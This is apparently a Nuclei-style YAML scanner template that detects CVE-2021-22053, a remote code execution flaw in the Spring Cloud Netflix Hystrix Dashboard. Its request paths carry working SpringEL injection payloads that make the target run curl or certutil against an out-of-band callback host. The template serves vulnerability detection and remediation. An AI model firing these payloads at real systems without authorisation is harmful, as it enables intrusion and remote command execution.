48 lines
2.1 KiB
YAML
48 lines
2.1 KiB
YAML
id: CVE-2021-22053
|
|
|
|
info:
|
|
name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
|
|
author: forgedhallpass
|
|
severity: high
|
|
description: |
|
|
Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
|
|
remediation: |
|
|
Upgrade to Spring Cloud Netflix Hystrix Dashboard version 2.2.10 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
|
|
- https://tanzu.vmware.com/security/cve-2021-22053
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22053
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-22053
|
|
cwe-id: CWE-94
|
|
epss-score: 0.63177
|
|
epss-percentile: 0.97514
|
|
cpe: cpe:2.3:a:vmware:spring_cloud_netflix:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: vmware
|
|
product: spring_cloud_netflix
|
|
tags: rce,spring,cve,cve2021
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("curl http://{{interactsh-url}}")}__::.x/'
|
|
- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("certutil -urlcache -split -f http://{{interactsh-url}}")}__::.x/'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- "http"
|
|
|
|
- type: regex
|
|
part: interactsh_request
|
|
regex:
|
|
- 'curl|CertUtil'
|
|
|
|
# digest: 4b0a00483046022100cda78fc31e5d062ccb4cb3b50ffd0f7fb5899e45809f92928ea42e9b6698f531022100cea176503c15af7feb44cb876dc91169fc591b84ee44c3574a418a54414d5d7c:922c64590222798bb761d5b6d8e72950
|